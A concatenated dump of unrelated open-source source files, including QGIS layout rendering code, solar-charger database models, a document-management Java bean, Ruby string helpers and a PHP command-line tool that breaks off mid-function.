// painter is scaled to dots, so scale back to layout units
painter->scale( context.scaleFactor() / mHtmlUnitsToLayoutUnits, context.scaleFactor() / mHtmlUnitsToLayoutUnits );
painter->translate( 0.0, -renderExtent.top() * mHtmlUnitsToLayoutUnits );
mWebPage->mainFrame()->render( painter, QRegion( renderExtent.left(), renderExtent.top() * mHtmlUnitsToLayoutUnits, renderExtent.width() * mHtmlUnitsToLayoutUnits, renderExtent.height() * mHtmlUnitsToLayoutUnits ) );
painter->restore();
}
double QgsLayoutItemHtml::htmlUnitsToLayoutUnits()
{
if ( !mLayout )
{
return 1.0;
}
return mLayout->convertToLayoutUnits( QgsLayoutMeasurement( mLayout->context().dpi() / 72.0, QgsUnitTypes::LayoutMillimeters ) ); //webkit seems to assume a standard dpi of 96
}
bool candidateSort( QPair<int, int> c1, QPair<int, int> c2 )
{
if ( c1.second < c2.second )
return true;
else if ( c1.second > c2.second )
return false;
else if ( c1.first > c2.first )
return true;
else
return false;
}
double QgsLayoutItemHtml::findNearbyPageBreak( double yPos )
{
if ( !mWebPage || mRenderedPage.isNull() || !mUseSmartBreaks )
{
return yPos;
}
//convert yPos to pixels
int idealPos = yPos * htmlUnitsToLayoutUnits();
//if ideal break pos is past end of page, there's nothing we need to do
if ( idealPos >= mRenderedPage.height() )
{
return yPos;
}
int maxSearchDistance = mMaxBreakDistance * htmlUnitsToLayoutUnits();
//loop through all lines just before ideal break location, up to max distance
//of maxSearchDistance
int changes = 0;
QRgb currentColor;
bool currentPixelTransparent = false;
bool previousPixelTransparent = false;
QRgb pixelColor;
QList< QPair<int, int> > candidates;
int minRow = std::max( idealPos - maxSearchDistance, 0 );
for ( int candidateRow = idealPos; candidateRow >= minRow; --candidateRow )
{
changes = 0;
currentColor = qRgba( 0, 0, 0, 0 );
//check all pixels in this line
for ( int col = 0; col < mRenderedPage.width(); ++col )
{
//count how many times the pixels change color in this row
//eventually, we select a row to break at with the minimum number of color changes
//since this is likely a line break, or gap between table cells, etc
//but very unlikely to be midway through a text line or picture
pixelColor = mRenderedPage.pixel( col, candidateRow );
currentPixelTransparent = qAlpha( pixelColor ) == 0;
if ( pixelColor != currentColor && !( currentPixelTransparent && previousPixelTransparent ) )
{
//color has changed
currentColor = pixelColor;
changes++;
}
previousPixelTransparent = currentPixelTransparent;
}
candidates.append( qMakePair( candidateRow, changes ) );
}
//sort candidate rows by number of changes ascending, row number descending
std::sort( candidates.begin(), candidates.end(), candidateSort );
//first candidate is now the largest row with smallest number of changes
//OK, now take the mid point of the best candidate position
//we do this so that the spacing between text lines is likely to be split in half
//otherwise the html will be broken immediately above a line of text, which
//looks a little messy
int maxCandidateRow = candidates[0].first;
int minCandidateRow = maxCandidateRow + 1;
int minCandidateChanges = candidates[0].second;
QList< QPair<int, int> >::iterator it;
for ( it = candidates.begin(); it != candidates.end(); ++it )
{
if ( ( *it ).second != minCandidateChanges || ( *it ).first != minCandidateRow - 1 )
{
//no longer in a consecutive block of rows of minimum pixel color changes
//so return the row mid-way through the block
//first converting back to mm
return ( minCandidateRow + ( maxCandidateRow - minCandidateRow ) / 2 ) / htmlUnitsToLayoutUnits();
}
minCandidateRow = ( *it ).first;
}
//above loop didn't work for some reason
//return first candidate converted to mm
return candidates[0].first / htmlUnitsToLayoutUnits();
}
void QgsLayoutItemHtml::setUseSmartBreaks( bool useSmartBreaks )
{
mUseSmartBreaks = useSmartBreaks;
recalculateFrameSizes();
emit changed();
}
void QgsLayoutItemHtml::setMaxBreakDistance( double maxBreakDistance )
{
mMaxBreakDistance = maxBreakDistance;
recalculateFrameSizes();
emit changed();
}
void QgsLayoutItemHtml::setUserStylesheet( const QString &stylesheet )
{
mUserStylesheet = stylesheet;
//TODO - this signal should be emitted, but without changing the signal which sets the css
//to an equivalent of editingFinished it causes a lot of problems. Need to investigate
//ways of doing this using QScintilla widgets.
//emit changed();
}
void QgsLayoutItemHtml::setUserStylesheetEnabled( const bool stylesheetEnabled )
{
if ( mEnableUserStylesheet != stylesheetEnabled )
{
mEnableUserStylesheet = stylesheetEnabled;
loadHtml( true );
emit changed();
}
}
QString QgsLayoutItemHtml::displayName() const
{
return tr( "<HTML frame>" );
}
bool QgsLayoutItemHtml::writePropertiesToElement( QDomElement &htmlElem, QDomDocument &, const QgsReadWriteContext & ) const
{
htmlElem.setAttribute( QStringLiteral( "contentMode" ), QString::number( static_cast< int >( mContentMode ) ) );
htmlElem.setAttribute( QStringLiteral( "url" ), mUrl.toString() );
htmlElem.setAttribute( QStringLiteral( "html" ), mHtml );
htmlElem.setAttribute( QStringLiteral( "evaluateExpressions" ), mEvaluateExpressions ? "true" : "false" );
htmlElem.setAttribute( QStringLiteral( "useSmartBreaks" ), mUseSmartBreaks ? "true" : "false" );
htmlElem.setAttribute( QStringLiteral( "maxBreakDistance" ), QString::number( mMaxBreakDistance ) );
htmlElem.setAttribute( QStringLiteral( "stylesheet" ), mUserStylesheet );
htmlElem.setAttribute( QStringLiteral( "stylesheetEnabled" ), mEnableUserStylesheet ? "true" : "false" );
return true;
}
bool QgsLayoutItemHtml::readPropertiesFromElement( const QDomElement &itemElem, const QDomDocument &, const QgsReadWriteContext & )
{
bool contentModeOK;
mContentMode = static_cast< QgsLayoutItemHtml::ContentMode >( itemElem.attribute( QStringLiteral( "contentMode" ) ).toInt( &contentModeOK ) );
if ( !contentModeOK )
{
mContentMode = QgsLayoutItemHtml::Url;
}
mEvaluateExpressions = itemElem.attribute( QStringLiteral( "evaluateExpressions" ), QStringLiteral( "true" ) ) == QLatin1String( "true" );
mUseSmartBreaks = itemElem.attribute( QStringLiteral( "useSmartBreaks" ), QStringLiteral( "true" ) ) == QLatin1String( "true" );
mMaxBreakDistance = itemElem.attribute( QStringLiteral( "maxBreakDistance" ), QStringLiteral( "10" ) ).toDouble();
mHtml = itemElem.attribute( QStringLiteral( "html" ) );
mUserStylesheet = itemElem.attribute( QStringLiteral( "stylesheet" ) );
mEnableUserStylesheet = itemElem.attribute( QStringLiteral( "stylesheetEnabled" ), QStringLiteral( "false" ) ) == QLatin1String( "true" );
//finally load the set url
QString urlString = itemElem.attribute( QStringLiteral( "url" ) );
if ( !urlString.isEmpty() )
{
mUrl = urlString;
}
loadHtml( true );
//since frames had to be created before, we need to emit a changed signal to refresh the widget
emit changed();
return true;
}
void QgsLayoutItemHtml::setExpressionContext( const QgsFeature &feature, QgsVectorLayer *layer )
{
mExpressionFeature = feature;
mExpressionLayer = layer;
//setup distance area conversion
if ( layer )
{
mDistanceArea.setSourceCrs( layer->crs() );
}
else if ( mLayout )
{
#if 0 //TODO
//set to composition's mapsettings' crs
QgsComposerMap *referenceMap = mComposition->referenceMap();
if ( referenceMap )
mDistanceArea->setSourceCrs( referenceMap->crs() );
#endif
}
if ( mLayout )
{
mDistanceArea.setEllipsoid( mLayout->project()->ellipsoid() );
}
// create JSON representation of feature
QgsJsonExporter exporter( layer );
exporter.setIncludeRelated( true );
mAtlasFeatureJSON = exporter.exportFeature( feature );
}
void QgsLayoutItemHtml::refreshExpressionContext()
{
QgsVectorLayer *vl = nullptr;
QgsFeature feature;
#if 0 //TODO
if ( mComposition->atlasComposition().enabled() )
{
vl = mComposition->atlasComposition().coverageLayer();
}
if ( mComposition->atlasMode() != QgsComposition::AtlasOff )
{
feature = mComposition->atlasComposition().feature();
}
#endif
setExpressionContext( feature, vl );
loadHtml( true );
}
void QgsLayoutItemHtml::refreshDataDefinedProperty( const QgsLayoutObject::DataDefinedProperty property )
{
QgsExpressionContext context = createExpressionContext();
//updates data defined properties and redraws item to match
if ( property == QgsLayoutObject::SourceUrl || property == QgsLayoutObject::AllProperties )
{
loadHtml( true, &context );
}
}
| gpl-2.0 |
jorticus/pymate | examples/srv2/models.py | 8720 |
from pymate.matenet.mx import MXStatusPacket, MXLogPagePacket
from pymate.matenet.fx import FXStatusPacket
from pymate.matenet.flexnetdc import DCStatusPacket
import sqlalchemy as sql
from sqlalchemy.engine.url import URL
from sqlalchemy import Column
from sqlalchemy.ext.declarative import declarative_base
from base64 import b64encode, b64decode
import dateutil.parser
Base = declarative_base()
class MxStatus(Base):
__tablename__ = "mx_status"
id = Column(sql.Integer, primary_key=True)
timestamp = Column(sql.DateTime)
tzoffset = Column(sql.Integer)
raw_packet = Column(sql.LargeBinary)
pv_current = Column(sql.Float)
bat_current = Column(sql.Float)
pv_voltage = Column(sql.Float)
bat_voltage = Column(sql.Float)
amp_hours = Column(sql.Float)
kw_hours = Column(sql.Float)
watts = Column(sql.Float)
status = Column(sql.Integer)
errors = Column(sql.Integer)
def __init__(self, js):
data = b64decode(js['data']) # To bytestr
self.timestamp = dateutil.parser.parse(js['ts'])
self.tzoffset = int(js['tz'])
self.raw_packet = data
status = MXStatusPacket.from_buffer(data)
self.pv_current = float(status.pv_current)
self.bat_current = float(status.bat_current)
self.pv_voltage = float(status.pv_voltage)
self.bat_voltage = float(status.bat_voltage)
self.amp_hours = float(status.amp_hours)
self.kw_hours = float(status.kilowatt_hours)
self.watts = float(js['extra']['chg_w'])
self.status = int(status.status)
self.errors = int(status.errors)
print "Status:", status
def to_json(self):
d = {key: getattr(self, key) for key in self.__dict__ if key[0] != '_'}
d['raw_packet'] = b64encode(d['raw_packet'])
return d
@property
def local_timestamp(self):
return self.timestamp
class MxLogPage(Base):
__tablename__ = "mx_logpage"
id = Column(sql.Integer, primary_key=True)
timestamp = Column(sql.DateTime)
tzoffset = Column(sql.Integer)
raw_packet = Column(sql.LargeBinary)
date = Column(sql.Date)
bat_min = Column(sql.Float)
bat_max = Column(sql.Float)
volts_peak = Column(sql.Float)
amps_peak = Column(sql.Float)
amp_hours = Column(sql.Float)
kw_hours = Column(sql.Float)
absorb_time = Column(sql.Float)
float_time = Column(sql.Float)
def __init__(self, js):
data = b64decode(js['data'])
self.timestamp = dateutil.parser.parse(js['ts'])
self.tzoffset = int(js['tz'])
self.raw_packet = data
self.date = dateutil.parser.parse(js['date']).date()
logpage = MXLogPagePacket.from_buffer(data)
self.bat_min = float(logpage.bat_min)
self.bat_max = float(logpage.bat_max)
self.volts_peak = float(logpage.volts_peak)
self.amps_peak = float(logpage.amps_peak)
self.amp_hours = float(logpage.amp_hours)
self.kw_hours = float(logpage.kilowatt_hours)
self.absorb_time = float(logpage.absorb_time) # Minutes
self.float_time = float(logpage.float_time) # Minutes
print "Log Page:", logpage
def to_json(self):
d = {key: getattr(self, key) for key in self.__dict__ if key[0] != '_'}
d['raw_packet'] = b64encode(d['raw_packet'])
return d
class FxStatus(Base):
__tablename__ = "fx_status"
id = Column(sql.Integer, primary_key=True)
timestamp = Column(sql.DateTime)
tzoffset = Column(sql.Integer)
raw_packet = Column(sql.LargeBinary)
warnings = Column(sql.Integer)
error_mode = Column(sql.Integer)
operational_mode = Column(sql.Integer)
ac_mode = Column(sql.Integer)
aux_on = Column(sql.Boolean)
charge_power = Column(sql.Float)
inverter_power = Column(sql.Float)
sell_power = Column(sql.Float)
buy_power = Column(sql.Float)
output_voltage = Column(sql.Float)
input_voltage = Column(sql.Float)
inverter_current = Column(sql.Float)
charger_current = Column(sql.Float)
buy_current = Column(sql.Float) # aka. input_current?
sell_current = Column(sql.Float)
air_temperature = Column(sql.Float)
def __init__(self, js):
extra = js['extra']
data = b64decode(js['data']) # To bytestr
self.timestamp = dateutil.parser.parse(js['ts'])
self.tzoffset = int(js['tz'])
self.raw_packet = data
status = FXStatusPacket.from_buffer(data)
self.warnings = int(status.warnings)
self.error_mode = int(status.error_mode)
self.operational_mode = int(status.operational_mode)
self.ac_mode = int(status.ac_mode)
self.aux_on = bool(status.aux_on)
self.charge_power = float(status.chg_power)
self.inverter_power = float(status.inv_power)
self.sell_power = float(status.sell_power)
self.buy_power = float(status.buy_power)
self.output_voltage = float(status.output_voltage)
self.input_voltage = float(status.input_voltage)
self.inverter_current = float(status.inverter_current)
self.charger_current = float(status.chg_current)
self.buy_current = float(status.buy_current)
self.sell_current = float(status.sell_current)
# Extra
self.air_temperature = float(extra['t_air'])
# self.warnings = int(extra['w'])
# self.errors = int(extra['e'])
# self.output_voltage = float(extra['out_v'])
# self.input_voltage = float(extra['in_v'])
# self.inverter_current = float(extra['inv_i'])
# self.charger_current = float(extra['chg_i'])
# self.input_current = float(extra['in_i'])
# self.sell_current = float(extra['sel_i'])
# self.air_temperature = float(extra['t_air'])
print "Status:", status
def to_json(self):
d = {key: getattr(self, key) for key in self.__dict__ if key[0] != '_'}
d['raw_packet'] = b64encode(d['raw_packet'])
return d
def __repr__(self):
return str(self.to_json())
@property
def local_timestamp(self):
return self.timestamp
class DcStatus(Base):
__tablename__ = "dc_status"
id = Column(sql.Integer, primary_key=True)
timestamp = Column(sql.DateTime)
tzoffset = Column(sql.Integer)
raw_packet = Column(sql.LargeBinary)
shunta_power = Column(sql.Float)
shuntb_power = Column(sql.Float)
shuntc_power = Column(sql.Float)
shunta_kwh_today = Column(sql.Float)
shuntb_kwh_today = Column(sql.Float)
shuntc_kwh_today = Column(sql.Float)
battery_voltage = Column(sql.Float)
state_of_charge = Column(sql.Float)
in_power = Column(sql.Float)
out_power = Column(sql.Float)
bat_power = Column(sql.Float)
in_kwh_today = Column(sql.Float)
out_kwh_today = Column(sql.Float)
bat_kwh_today = Column(sql.Float)
flags = Column(sql.Integer)
def __init__(self, js):
data = b64decode(js['data']) # To bytestr
self.timestamp = dateutil.parser.parse(js['ts'])
self.tzoffset = int(js['tz'])
self.raw_packet = data
status = DCStatusPacket.from_buffer(data)
self.flags = int(status.flags)
self.shunta_power = float(status.shunta_power)
self.shuntb_power = float(status.shuntb_power)
self.shuntc_power = float(status.shuntc_power)
self.shunta_kwh_today = float(status.shunta_kwh_today)
self.shuntb_kwh_today = float(status.shuntb_kwh_today)
self.shuntc_kwh_today = float(status.shuntc_kwh_today)
self.battery_voltage = float(status.bat_voltage)
self.state_of_charge = float(status.state_of_charge)
self.in_power = float(status.in_power)
self.out_power = float(status.out_power)
self.bat_power = float(status.bat_power)
self.in_kwh_today = float(status.in_kwh_today)
self.out_kwh_today = float(status.out_kwh_today)
self.bat_kwh_today = float(status.bat_kwh_today)
def to_json(self):
d = {key: getattr(self, key) for key in self.__dict__ if key[0] != '_'}
d['raw_packet'] = b64encode(d['raw_packet'])
return d
def __repr__(self):
return str(self.to_json())
@property
def local_timestamp(self):
return self.timestamp
def initialize_db():
import settings
print "Create DB Engine"
engine = sql.create_engine(URL(**settings.DATABASE))
Base.metadata.create_all(engine)
return engine | gpl-2.0 |
openkm/document-management-system | src/main/java/com/openkm/bean/workflow/ProcessInstance.java | 4011 | /**
* OpenKM, Open Document Management System (http://www.openkm.com)
* Copyright (c) 2006-2017 Paco Avila & Josep Llort
* <p>
* No bytes were intentionally harmed during the development of this application.
* <p>
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package com.openkm.bean.workflow;
import com.openkm.bean.form.*;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.bind.annotation.XmlSeeAlso;
import java.io.Serializable;
import java.util.Calendar;
import java.util.List;
import java.util.Map;
/**
* @author pavila
*/
@XmlSeeAlso({Button.class, Input.class, TextArea.class, Select.class, CheckBox.class, SuggestBox.class})
@XmlRootElement(name = "processInstance")
public class ProcessInstance implements Serializable {
private static final long serialVersionUID = -2917421131012124036L;
private long id;
private int version;
private String key;
private Calendar start;
private Calendar end;
private boolean ended;
private boolean suspended;
private Token rootToken;
private Map<String, Object> variables;
private List<Token> allTokens;
private ProcessDefinition processDefinition;
public ProcessInstance() {
}
public int getVersion() {
return version;
}
public void setVersion(int version) {
this.version = version;
}
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
public boolean isEnded() {
return ended;
}
public void setEnded(boolean ended) {
this.ended = ended;
}
public boolean isSuspended() {
return suspended;
}
public void setSuspended(boolean suspended) {
this.suspended = suspended;
}
public Map<String, Object> getVariables() {
return variables;
}
public void setVariables(Map<String, Object> variables) {
this.variables = variables;
}
public void setAllTokens(List<Token> allTokens) {
this.allTokens = allTokens;
}
public List<Token> getAllTokens() {
return allTokens;
}
public ProcessDefinition getProcessDefinition() {
return processDefinition;
}
public void setProcessDefinition(ProcessDefinition processDefinition) {
this.processDefinition = processDefinition;
}
public Calendar getStart() {
return start;
}
public void setStart(Calendar start) {
this.start = start;
}
public Calendar getEnd() {
return end;
}
public void setEnd(Calendar end) {
this.end = end;
}
public String getKey() {
return key;
}
public void setKey(String key) {
this.key = key;
}
public Token getRootToken() {
return rootToken;
}
public void setRootToken(Token rootToken) {
this.rootToken = rootToken;
}
public String toString() {
StringBuffer sb = new StringBuffer();
sb.append("[");
sb.append("id=");
sb.append(id);
sb.append(", version=");
sb.append(version);
sb.append(", key=");
sb.append(key);
sb.append(", ended=");
sb.append(ended);
sb.append(", suspended=");
sb.append(suspended);
sb.append(", variables=");
sb.append(variables);
sb.append(", rootToken=");
sb.append(rootToken);
sb.append(", allTokens=");
sb.append(allTokens);
sb.append(", start=");
sb.append(start == null ? null : start.getTime());
sb.append(", end=");
sb.append(end == null ? null : end.getTime());
sb.append(", processDefinition=");
sb.append(processDefinition);
sb.append("]");
return sb.toString();
}
}
| gpl-2.0 |
ForceXX/LED-Matrix | html/search/all_4.js | 4363 | var searchData=
[
['helligkeitskonstanten',['Helligkeitskonstanten',['../group___b_r_i_g_t_h_n_e_s_s.html',1,'']]],
['ht16k33_2ecpp',['HT16K33.cpp',['../_h_t16_k33_8cpp.html',1,'']]],
['ht16k33_2eh',['HT16K33.h',['../_h_t16_k33_8h.html',1,'']]],
['ht16k33_5fclear',['ht16k33_clear',['../_h_t16_k33_8cpp.html#af1b13ce0f0367738f335533ab7100c45',1,'ht16k33_clear(int fd): HT16K33.cpp'],['../_h_t16_k33_8h.html#adfc264311106ca40775af970e32f1b38',1,'ht16k33_clear(int): HT16K33.cpp']]],
['ht16k33_5finit_5fi2c',['ht16k33_init_i2c',['../_h_t16_k33_8cpp.html#a568c84bcff100ad269a7142bb0a9e824',1,'ht16k33_init_i2c(): HT16K33.cpp'],['../_h_t16_k33_8h.html#a568c84bcff100ad269a7142bb0a9e824',1,'ht16k33_init_i2c(): HT16K33.cpp']]],
['ht16k33_5fprint_5farray',['ht16k33_print_array',['../_h_t16_k33_8cpp.html#a5eb4e3fd774cdfe53fc2ece89f5bb83f',1,'ht16k33_print_array(int fd, unsigned char arr8x8[8]): HT16K33.cpp'],['../_h_t16_k33_8h.html#affe31fd03fcaa5809dac507035019ba8',1,'ht16k33_print_array(int, unsigned char *): HT16K33.h']]],
['ht16k33_5fprint_5farray_5fdimm',['ht16k33_print_array_dimm',['../_h_t16_k33_8cpp.html#aeced63c04148bfd280a99c8c3bbea4ec',1,'ht16k33_print_array_dimm(int fd, unsigned char arr8x8[8][8]): HT16K33.cpp'],['../_h_t16_k33_8h.html#a5680ffd0e66af3655437eb38864e78aa',1,'ht16k33_print_array_dimm(int, unsigned char[8][8]): HT16K33.cpp']]],
['ht16k33_5fprint_5fleft',['ht16k33_print_left',['../_h_t16_k33_8cpp.html#ac1e25a24f9e6e2b8b14953c889f4209c',1,'ht16k33_print_left(int fd, char s[]): HT16K33.cpp'],['../_h_t16_k33_8h.html#a2951209e78af7262978a643b76b1bb0a',1,'ht16k33_print_left(int, char *): HT16K33.h']]],
['ht16k33_5fprint_5fright',['ht16k33_print_right',['../_h_t16_k33_8cpp.html#acf3df385172eeaf0563333fa3e7a3b3e',1,'ht16k33_print_right(int fd, char s[]): HT16K33.cpp'],['../_h_t16_k33_8h.html#a479fbf07081302faf6b57e20637746d0',1,'ht16k33_print_right(int, char *): HT16K33.h']]],
['ht16k33_5fprint_5fstring',['ht16k33_print_string',['../_h_t16_k33_8cpp.html#a460750159472a600b0f9e6d2faff7467',1,'ht16k33_print_string(int fd, char input[]): HT16K33.cpp'],['../_h_t16_k33_8h.html#ae528e53119444b9c314cdd5dd00ff22a',1,'ht16k33_print_string(int, char *): HT16K33.h']]],
['ht16k33_5fscroll_5fchars_5fleft',['ht16k33_scroll_chars_left',['../_h_t16_k33_8cpp.html#a743b6d202c715a29ba98db7c0a86933a',1,'ht16k33_scroll_chars_left(int fd, unsigned char char1[], unsigned char char2[]): HT16K33.cpp'],['../_h_t16_k33_8h.html#a80936eaa1d04943231f214b71c719bde',1,'ht16k33_scroll_chars_left(int, unsigned char *, unsigned char *): HT16K33.h']]],
['ht16k33_5fscroll_5fchars_5fright',['ht16k33_scroll_chars_right',['../_h_t16_k33_8cpp.html#aa45a875eecfb8fbdf1036cf52eef4ca2',1,'ht16k33_scroll_chars_right(int fd, unsigned char char1[], unsigned char char2[]): HT16K33.cpp'],['../_h_t16_k33_8h.html#a44be7c5e9498639c2fd2f18497c2cf56',1,'ht16k33_scroll_chars_right(int, unsigned char *, unsigned char *): HT16K33.h']]],
['ht16k33_5fset_5fbrigthness',['ht16k33_set_brigthness',['../_h_t16_k33_8cpp.html#a99e9ae9cbb01319ab7b9d28003718689',1,'ht16k33_set_brigthness(int fd, unsigned char brigthness): HT16K33.cpp'],['../_h_t16_k33_8h.html#a4ee1afd367a7a18fa23c6e4009583190',1,'ht16k33_set_brigthness(int, unsigned char): HT16K33.cpp']]],
['ht16k33_5fset_5fsingle_5fled',['ht16k33_set_single_led',['../_h_t16_k33_8cpp.html#a39132e16c95ac06b3543fb85eab27f9b',1,'ht16k33_set_single_led(int fd, int posX, int posY, int value): HT16K33.cpp'],['../_h_t16_k33_8h.html#a43a61fe8fbe32d2a2b991b1a2f45aea6',1,'ht16k33_set_single_led(int, int, int, int): HT16K33.cpp']]],
['ht16k33_5fwrite_5fbyte',['ht16k33_write_byte',['../_h_t16_k33_8cpp.html#ac74df0a85335beb8e3e6ec842852b186',1,'ht16k33_write_byte(int fd, uint8_t command, uint8_t data): HT16K33.cpp'],['../_h_t16_k33_8h.html#ac74df0a85335beb8e3e6ec842852b186',1,'ht16k33_write_byte(int fd, uint8_t command, uint8_t data): HT16K33.cpp']]],
['ht16k33_5fwrite_5fcommand',['ht16k33_write_command',['../_h_t16_k33_8cpp.html#a8bf239b38814a1be443eef50e75a8c0f',1,'ht16k33_write_command(int fd, uint8_t command): HT16K33.cpp'],['../_h_t16_k33_8h.html#a8bf239b38814a1be443eef50e75a8c0f',1,'ht16k33_write_command(int fd, uint8_t command): HT16K33.cpp']]]
];
| gpl-2.0 |
devyg/simple-php-mailing | lang/ar.php | 1569 | <?php
return array(
'required' => "مطلوب",
'equals' => "يجب أن يكون مساوي لي '%s'",
'different' => "يجب ان يكون غير '%s'",
'accepted' => "يجب ان يكون نعم",
'numeric' => "يجب ان يكون رقم",
'integer' => "يجب ان يكون رقم (0-9)",
'length' => "يجب ان يكون أطول من %d",
'min' => "يجب ان يكون اعلي من %s",
'max' => "يجب ان يكون اقل من %s",
'in' => "الُمدخل يغير صحيح",
'notIn' => "الُمدخل يغير صحيح",
'ip' => "رقم الإتصال غير صحيح",
'email' => "البريد الألكتروني غير صحيح",
'url' => "الرابط غير صحيح",
'urlActive' => "يجب أن يكون نطاق فعال",
'alpha' => "يجب أن يحتوي فقط علي a-z",
'alphaNum' => "يجب ان يحتوي فقط a-z او ارقام 0-9",
'slug' => "يجب ان يحتوي فقط علي a-z, و ارقام 0-9, شرطات و خط سفلي",
'regex' => "خطا بالصيغة",
'date' => "خطا بالتاريخ",
'dateFormat' => "يجب ان يكون تاريخ بهذه الصيغة '%s'",
'dateBefore' => "التاريخ يجب ان يكون قبل '%s'",
'dateAfter' => "التاريخ يجب ان يكون بعد '%s'",
'contains' => "يجب ان يحتوي %s"
);
| gpl-2.0 |
Vn0m/XBot | MxBots/Lib/Gnav.cs | 136 | using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace GLib
{
class GNav
{
}
}
| gpl-2.0 |
EasyLovine/ZencTbi | ajax_return_wp.php | 558 | <?php
$filename = dirname (__FILE__) . DIRECTORY_SEPARATOR . 'includes' . DIRECTORY_SEPARATOR . 'templates' . DIRECTORY_SEPARATOR . 'theme317' . DIRECTORY_SEPARATOR . 'common' . DIRECTORY_SEPARATOR . 'functionTbiWpApi.php';
include $filename;
$slug = $_GET['slug'];
if(empty($slug)){
// throw 404
}
$data = TbiWpApi::getInstance()->get('wp/v2/pages&slug=' . $slug);
if(empty($data)){
// throw 404
}
$wpHtmlContent = TbiWpApi::getInstance()->toHtml($data[0]);
echo $wpHtmlContent;
| gpl-2.0 |
ajaniv/softwarebook | c++/XML/XMLFactory.cpp | 1034 | /**
* \file XMLFactory.cpp
* \brief Abstraction for creation of implementation specific classes source file
*
*/
/*
* This file is part of OndALear collection of open source components.
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
*
* Copyright (C) 2008 Amnon Janiv <[email protected]>
*
* Initial version: 2011-11-11
* Author: Amnon Janiv <[email protected]>
*/
/*
* $Id: $
*/
#include "XMLFactory.hpp"
#include "core/CoreConstants.hpp"
#include "XMLConstants.hpp"
namespace ondalear {
namespace xml {
/*
* protected constructors
*
*/
XMLFactory::XMLFactory()
:
ComponentFactory(
XMLConstants::defaultFactoryName(),
CoreConstants::defaultVersion())
{
}
XMLFactory::XMLFactory(const String& factoryName, const String& factoryVersion)
:
ComponentFactory(
factoryName,
factoryVersion)
{
}
} //namespace xml
} //namespace ondalear
| gpl-2.0 |
xlsuite/xlsuite | lib/core_ext/string.rb | 1536 | #- XLsuite, an integrated CMS, CRM and ERP for medium businesses
#- Copyright 2005-2009 iXLd Media Inc. See LICENSE for details.
class String
def as_absolute_url(host, options={})
return self if self.blank? || URI.parse(self).absolute?
options[:protocol] = "http" if options[:protocol].blank?
options[:ssl?] = false if options[:ssl?].blank?
host_plus_self = host + "/" + self
host_plus_self.gsub!(/(\/)+/, "/")
%Q~#{options[:protocol]}#{options[:ssl?] ? 's' : nil}://#{host_plus_self}~
end
# Converts a post title to its-title-using-dashes
# All special chars are stripped in the process
def to_url
returning(self.downcase) do |result|
# replace quotes by nothing
result.gsub!(/['"]/, '')
# strip all non word chars
result.gsub!(/[^A-Za-z0-9_\-]/i, ' ')
# replace all white space sections with a dash
result.gsub!(/\s+/, '-')
# trim dashes
result.gsub!(/(-)$/, '')
result.gsub!(/^(-)/, '')
end
end
def append_affiliate_username(username)
return self if username.blank?
if self.include?("?")
t_input = self
t_input = t_input.split("?").last.split("&")
index = nil
t_input.each_with_index do |e, i|
index = i if e =~ /^pal=/i
end
if index
t_input[index] = "pal=#{username}"
else
t_input << "pal=#{username}"
end
return self.split("?").first + "?" + t_input.join("&")
else
return self + "?pal=" + username
end
end
end
| gpl-2.0 |
pragres/recipescookbook.org | packages/ramifip/modules/rpCore/rpCommander.php | 5765 | <?php
/**
* Ramifip Commander
*
* This file is part of the Ramifip PHP Framework.
*
* @author Rafael Rodriguez Ramirez <[email protected]>
*/
class rpCommander extends rpCLI{
/**
* Run the commander
*
*/
static function Run(){
echo "\n";
echo "---------------------------\n";
echo "Ramifip Commander\n";
echo "---------------------------\n";
echo "Welcome developer!\n\n";
do {
$exit = false;
$command = self::input("$ ");
$parts = explode(" ",$command);
if (isset($parts[0])) $com = trim($parts[0]); else continue;
if ($com == "exit") break;
$methods = get_class_methods("rpCommander");
if (in_array("cmd_$com", $methods)){
unset($parts[0]);
eval("self::cmd_$com(\$parts);");
} else {
if ($com !== "") echo "'$com' is not recognized as an internal command\n";
}
} while($exit == false);
}
// COMMANDS
static function cmd_addpkg($args){
$id = self::input("ID: ");
$name = self::input("Name: ");
$description = self::input("Description: ");
$group = self::input("Group: ");
$version = self::input("Version: ");
$path = self::input("Folder: ");
if (!rpFileSystem::folderExists($path)){
mkdir(PACKAGES.$path,0,true);
}
$tpl = new div("ramifip/modules/rpCore/templates/package.tpl", array(
"id" => $id,
"name" => $name,
"description" => $description,
"group" => $group,
"version" => $version
));
file_put_contents(PACKAGES."$path/$id.package","$tpl");
echo "\nThe package $id was created successfull!\n";
}
static function cmd_addapp($args){
$folder = self::input("Folder: ");
$author = self::input("Author: ");
if (!rpFileSystem::folderExists($folder)){
mkdir(PACKAGES.$folder,0,true);
}
$data = array(
"folder" => $folder,
"author" => $author
);
$tpl = new div("ramifip/modules/rpCore/templates/app.php.tpl", $data);
file_put_contents(PACKAGES."$folder/app.php", "$tpl");
$tpl = new div("ramifip/modules/rpCore/templates/app.js.tpl", $data);
file_put_contents(PACKAGES."$folder/app.js", "$tpl");
echo "\nThe applications app.php and app.js was created successfull in $folder/!\n";
}
static function cmd_help($args){
echo "\nRamifip Commander - The list of commands\n";
$help = new div("ramifip/modules/rpCore/templates/commander_help", array());
echo "\n$help\n";
}
static function cmd_setup($args){
if (isset($args[1]) && isset($args[2])){
$setup = new rpPropertiesFile("ramifip.ini", false);
$setup->$args[1] = $args[2];
$tpl = new div("ramifip/modules/rpCore/templates/ramifip.ini.tpl",$setup);
file_put_contents("ramifip.ini", "$tpl");
}
}
static function cmd_list($args){
if (isset($args[1])){
switch($args[1]){
case 'packages':
$list = rpFileSystem::listFiles(PACKAGES, "package");
echo str_repeat("-",60)."\n";
foreach($list as $item){
echo " PACKAGE | ".substr(str_replace(".package","",$item), strlen(PACKAGES))."\n";
}
echo str_repeat("-",60)."\n";
break;
case 'jobs':
echo str_repeat("-",60)."\n";
